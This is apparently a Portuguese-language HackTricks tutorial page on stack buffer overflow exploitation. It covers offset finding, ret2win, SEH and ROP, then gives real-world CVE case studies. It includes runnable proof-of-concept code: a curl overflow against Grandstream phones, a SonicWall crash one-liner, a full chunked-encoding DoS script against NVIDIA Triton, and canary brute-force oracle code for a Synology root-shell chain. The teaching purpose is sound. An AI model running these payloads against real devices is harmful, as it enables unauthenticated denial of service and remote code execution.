Stack Overflow
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
O que é um Stack Overflow
Uma stack overflow é uma vulnerabilidade que ocorre quando um programa escreve mais dados na stack do que foi alocado para armazená-los. Esse excesso de dados irá sobrescrever adjacent memory space, levando à corrupção de dados válidos, à interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema frequentemente ocorre devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
O principal problema dessa sobrescrita é que o saved instruction pointer (EIP/RIP) e o saved base pointer (EBP/RBP) para retornar à função anterior são stored on the stack. Portanto, um atacante poderá sobrescrevê-los e control the execution flow of the program.
A vulnerabilidade geralmente surge porque uma função copies inside the stack more bytes than the amount allocated for it, permitindo sobrescrever outras partes da stack.
Algumas funções comuns vulneráveis a isso são: strcpy, strcat, sprintf, gets… Além disso, funções como fgets, read e memcpy que recebem um argumento de tamanho, podem ser usadas de forma vulnerável se o comprimento especificado for maior que o alocado.
Por exemplo, as seguintes funções poderiam ser vulneráveis:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Encontrando offsets de Stack Overflows
A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de As (por exemplo python3 -c 'print("A"*1000)') e esperar um Segmentation Fault indicando que houve uma tentativa de acessar o endereço 0x41414141.
Além disso, quando você descobrir que existe uma vulnerabilidade Stack Overflow, será necessário encontrar o offset até que seja possível overwrite the return address; para isso geralmente se usa uma De Bruijn sequence. Que, para um dado alfabeto de tamanho k e subsequências de comprimento n, é uma sequência cíclica em que cada subsequência possível de comprimento n aparece exatamente uma vez como subsequência contígua.
Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que acabaram por sobrescrevê-la.
É possível usar pwntools para isso:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ou GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Explorando Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.
However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).
Ret2win
In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:
Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Exploração baseada em Windows SEH (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
ROP & Ret2… techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:
Heap Overflows
An overflow is not always going to be in the stack, it could also be in the heap for example:
Tipos de proteções
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) exposes/cgi-bin/api.values.geton TCP/80 with no authentication. The POST parameterrequestis colon-delimited; each character is copied intochar small_buffer[64]and the token is NUL-terminated on:or end, without any length check, letting a single oversized token smash the saved registers/return address.- PoC overflow (crashes and shows attacker data in registers):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)" - Delimiter-driven multi-NUL placement: every colon restarts parsing and appends a trailing NUL. By using multiple overlong identifiers, each token’s terminator can be aligned to a different offset in the corrupted frame, letting the attacker place several
0x00bytes even though each overflow normally adds only one. This is crucial because the non-PIE binary is mapped at0x00008000, so ROP gadget addresses embed NUL bytes. - Example colon payload to drop five NULs at chosen offsets (lengths tuned per stack layout):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecshows NX enabled, no canary, no PIE. Exploitation uses a ROP chain built from fixed addresses (e.g., callsystem()thenexit()), staging arguments after planting the required NUL bytes with the delimiter trick.
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- A primeira conversão (
%2s) armazena com segurança dois bytes emversion(por exemplo,"v1"). - A segunda conversão (
%s) não possui especificador de comprimento, portantosscanfcontinuará copiando até o primeiro NUL byte. - Como
endpointestá localizado na stack e é 0x800 bytes long, fornecer um path maior que 0x800 bytes corrompe tudo que vem depois do buffer ‑ incluindo o stack canary e o saved return address.
Uma prova de conceito de uma única linha é suficiente para disparar o crash antes da autenticação:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Mesmo que os stack canaries abortem o processo, um atacante ainda obtém uma primitiva de Denial-of-Service (e, com leaks de informação adicionais, possivelmente code-execution).
Exemplo do Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) continha múltiplos stack-based overflows acessíveis através da sua HTTP API.
O padrão vulnerável apareceu repetidamente em http_server.cc e sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) retorna o número de segmentos de buffer internos que compõem o corpo da requisição HTTP atual.- Cada segmento causa uma
evbuffer_iovecde 16-byte a ser alocada na stack viaalloca()– sem qualquer limite superior. - Ao abusar de HTTP chunked transfer-encoding, um cliente pode forçar a requisição a ser dividida em centenas de milhares de chunks de 6 bytes (
"1\r\nA\r\n"). Isso faz com quencresça sem limite até que a stack seja esgotada.
Prova de Conceito (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Uma requisição de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma compilação padrão.
### Exemplo do mundo real: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
A cadeia Pwn2Own 2025 da Synacktiv abusou de um overflow pré-auth em `SYNO.BEE.AdminCenter.Auth` na porta 5000. `AuthManagerImpl::ParseAuthInfo` decodifica Base64 a entrada do atacante em um buffer de pilha de 4096 bytes, mas define incorretamente `decoded_len = auth_info->len`. Como o worker CGI forks por request, cada child herda o stack canary do parent, então um único overflow primitive estável é suficiente para corromper a stack e leak todos os segredos necessários.
#### JSON decodificado por Base64 como um overflow estruturado
O blob decodificado deve ser um JSON válido e incluir as chaves `"state"` e `"code"`; caso contrário, o parser lança erro antes que o overflow seja útil. A Synacktiv resolveu isso codificando em Base64 um payload que decodifica para JSON, depois um byte NUL, e então o fluxo de overflow. `strlen(decoded)` para no NUL então o parsing tem sucesso, mas `SLIBCBase64Decode` já havia sobrescrito a stack além do objeto JSON, cobrindo o canary, o saved RBP, e o return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi cria um fork a cada requisição HTTP, então todos os processos filhos compartilham o mesmo canary, stack layout e PIE slide. O exploit trata o código de status HTTP como um oracle: uma resposta 200 significa que o byte adivinhado preservou a stack, enquanto 502 (ou uma conexão encerrada) significa que o processo travou. Brute-forcing cada byte serialmente recupera o canary de 8 bytes, um saved stack pointer e um endereço de retorno dentro de libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr simplesmente chama bf_next_byte oito vezes enquanto anexa o prefixo confirmado. A Synacktiv paralelizou esses oráculos com ~16 worker threads, reduzindo o tempo total de leak (canary + stack ptr + lib base) para menos de três minutos.
De leaks para ROP & execução
Uma vez conhecido o library base, gadgets comuns (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) constroem uma primitiva arb_write que prepara /bin/bash, -c e o comando do atacante no leaked stack address. Finalmente, a cadeia configura a convenção de chamada para SLIBCExecl (um BeeStation wrapper em torno de execl(2)), gerando um root shell sem precisar de um bug de info-leak separado.
Referências
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


